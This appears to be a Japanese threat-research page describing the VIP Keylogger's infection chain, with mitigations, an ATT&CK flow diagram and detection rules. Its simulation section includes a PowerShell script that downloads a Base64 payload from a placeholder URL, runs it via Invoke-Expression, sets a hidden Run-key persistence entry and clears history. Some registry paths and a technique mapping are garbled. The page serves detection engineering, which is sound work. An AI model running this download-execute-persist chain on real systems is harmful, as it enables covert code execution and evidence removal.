VIPキーロガーとその多層的な回避戦術
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
VIP Keyloggerは、銀行からの支払い通知を装ったフィッシング餌を通じて配布されるモジュール型情報盗用の脅威です。その感染チェーンは、二重化、PNG画像のステガノグラフィー、および環境変数の悪用を使用して、最終的なキーロガーを起動する前にPowerShellステージを隠蔽する悪意のあるVBS、JavaScript、またはバッチベースのローダーに依存しています。アクティブ化すると、マルウェアはクレデンシャル、スクリーンショット、クリップボードの内容、Wi-Fiパスワードを捕捉し、複数のコマンドアンドコントロールチャネルを通じてデータを流出します。検出の取り組みは、疑わしいレジストリの変更、異常な環境変数の値、スクリプトの実行からバイナリペイロードへの異常な遷移に焦点を当てるべきです。
調査
Splunk Threat Research Teamは、2026年3月および4月に収集された200以上のローダーサンプルをレビューし、それらの命名パターン、ローダーバリアント、およびペイロード配信におけるPNGファイルのステガノグラフィーの使用を文書化しました。研究者たちは逆難読化プロセスを再現し、 INTERNAL_DB_CACHE 環境変数の悪用を特定し、 UserInitMprLogonScript レジストリキーへの永続化を追跡しました。レポートは、観察された各行動を関連するMITRE ATT&CK技術にマッピングし、検出エンジニアリングをサポートしました。
緩和策
組織は、強力な電子メールセキュリティ制御とURLフィルタリングを通じて最初のフィッシング試行を停止するべきです。防御者は HKCUEnvironment 値の作成と変更を監視し、特に最適化されたエントリや INTERNAL_DB_CACHE 変数の使用に注意するべきです。ユーザー書き込み可能なディレクトリからのスクリプトベースのローダーの実行を制限し、可能であればPowerShell制約言語モードを適用するべきです。エンドポイントセキュリティツールも aspnet_compiler.exe へのプロセスインジェクションや疑わしい netsh 活動を検出するべきです。
対応
VIP Keyloggerのインジケーターが検出された場合、影響を受けたホストを隔離し、揮発性メモリと最近のプロセス実行ログを収集し、既知のレジストリアーティファクト、PNGベースのコマンドアンドコントロールURL、および削除されたファイルを捜索するべきです。悪意のあるスクリプトは除去し、公開されたクレデンシャルをリセットし、関連するローダーのアーティファクトと永続メカニズムを環境全体で実施するべきです。
グラフ TB
クラス定義 アクション 塗り:#99ccff
クラス定義 技術 塗り:#ffcc99
クラス定義 操作 塗り:#ff9900
ノード
初回アクセス[アクション – T1566 フィッシング
悪意のある.vbs/.js/.batがメール経由で配信]
クラス 初回アクセス アクション
実行[アクション – T1059.005 Visual Basic, T1059.007 JavaScript, T1059.001 PowerShell
ホスト上で実行されたスクリプトステージ]
クラス 実行 アクション
難読化[アクション – T1027.016 ジャンクコード挿入, T1027.003 ステガノグラフィー, T1027.009 埋め込みペイロード
ペイロードを隠匿または偽装]
クラス 難読化 アクション
永続性[アクション – T1574.007 実行フローハイジャック レジストリログオン スクリプト (UserInitMprLogonScript) 経由
T1037.001 ブートログオンイニシャルスクリプト
ログオン時にコードが実行されることを保証]
クラス 永続性 アクション
権限昇格[アクション – T1055.002 プロセスインジェクション PE, T1055.001 DLLインジェクション, T1620 リフレクティブコードローディング
特権を昇格し、防御を回避]
クラス 権限昇格 アクション
認証情報アクセス[アクション – T1555.003 ブラウザデータ, T1056.001 キーロギング, T1115 クリップボードのハイジャック
ユーザー認証情報を収集]
クラス 認証情報アクセス アクション
発見[アクション – T1596.005 外部IP発見 公共サービス経由
T1016.002 Wi-Fiパスワード発見
ネットワーク情報を収集]
クラス 発見 アクション
収集[アクション – T1113 スクリーンキャプチャ
デスクトップから視覚データを収集]
クラス 収集 アクション
指揮制御[アクション – T1071.001 ウェブプロトコル およびTelegramボットAPI
リモート指揮制御を提供]
クラス 指揮制御 アクション
防御回避[アクション – T1070.004 ファイル削除, T1070.010 インジケーター削除
操作後に証拠を削除]
クラス 防御回避 アクション
攻撃フローを示す接続
初回アクセス –>|先に進む| 実行
実行 –>|先に進む| 難読化
難読化 –>|先に進む| 永続性
永続性 –>|先に進む| 権限昇格
権限昇格 –>|先に進む| 認証情報アクセス
認証情報アクセス –>|先に進む| 発見
発見 –>|先に進む| 収集
収集 –>|先に進む| 指揮制御
指揮制御 –>|先に進む| 防御回避
攻撃フロー
検出
IPロックアップドメイン通信試行の可能性(dns経由)
表示
持続可能性ポイントの可能性 [ASEPs – Software/NTUSER Hive](レジストリエベント経由)
表示
隠れたPowerShellコマンドラインを通じた実行の可能性(cmdline経由)
表示
LOLBAS WScript / CScript(プロセス作成経由)
表示
疑わしいPowershellストリングス(powershell経由)
表示
Powershellから疑わしい.NETメソッドを呼び出す(powershell経由)
表示
コマンドアンドコントロールチャネルとしてのTelegramの悪用の可能性(dns_query経由)
表示
IOC(HashSha256)を検出する:コードの背後:VIP Keyloggerの多層防御回避
表示
VIP Keylogger PowerShell 環境変数を介した実行 [Windows PowerShell]
表示
VIP Keylogger レジストリ修正を介した持続性 [Windows レジストリ イベント]
表示
シミュレーション実行
前提条件:テレメトリ & ベースライン事前飛行チェックに合格している必要があります。
根拠:このセクションでは、検出ルールをトリガーするために設計された敵対者技術(TTP)の正確な実行を詳細に説明します。コマンドと説明文は、識別されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成する必要があります。抽象的または無関連な例は誤診の原因となります。
-
攻撃の物語とコマンド:
- 初期偵察 – 攻撃者は
Get-ADDomain(T1016.002) を使用してドメイン信頼関係を発見します。 - ペイロード取得 –
Invoke-WebRequest(T1071.001) を使用して攻撃者はBase64でエンコードされたDLLをダウンロードし、キーロガー(T1056.001) を実装します。 - 環境変数によるステージング – ダウンロードされた文字列は、ユーザーレベルの環境変数として格納され、
[Environment]::SetEnvironmentVariableによって検出ルールが注目している環境変数の操作が行われます。 - 動的実行 – 攻撃者は即座にペイロードを
Invoke-Expression $env:VIPPayload(T1059.001) で実行します。キーストローク、スクリーンショット(T1113) 、クリップボードデータ(T1115) のキャプチャを開始します。 - クリーンアップ – 永続化を確立した後 (たとえば、実行キー作成、T1037.001)、攻撃者は一時的なDLLをディスクから削除(T1070.004) し、環境変数を削除して法医学的な証拠を減少させます。
- 初期偵察 – 攻撃者は
-
回帰テストスクリプト: 以下のスクリプトは、正確なステップを再現し、シグマルールが期待するテレメトリを生成します。
# VIP Keyloggerシミュレーション – PowerShell # ------------------------------------------------- # 1. ダミーペイロードをダウンロードする(Base64 エンコードされた文字列) $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. ペイロードをユーザーレベルの環境変数に格納 $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Invoke-Expression でペイロードをデコードして実行 $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4.(オプション)実行キーで永続化を実証 – T1037.001 を示す $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5.クリーンアップ – 環境変数と実行キーエントリを削除 Start-Sleep -Seconds 30 # 一部の活動が記録されるのを許可 Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
クリーンアップコマンド: テスト後、システムを完全な状態に戻すために以下のコマンドを実行してください。
# テストで作成された環境変数を削除 [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # 永続化実行キーエントリを削除(存在する場合) $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # 残留するPowerShell履歴エントリをクリア(任意) Clear-History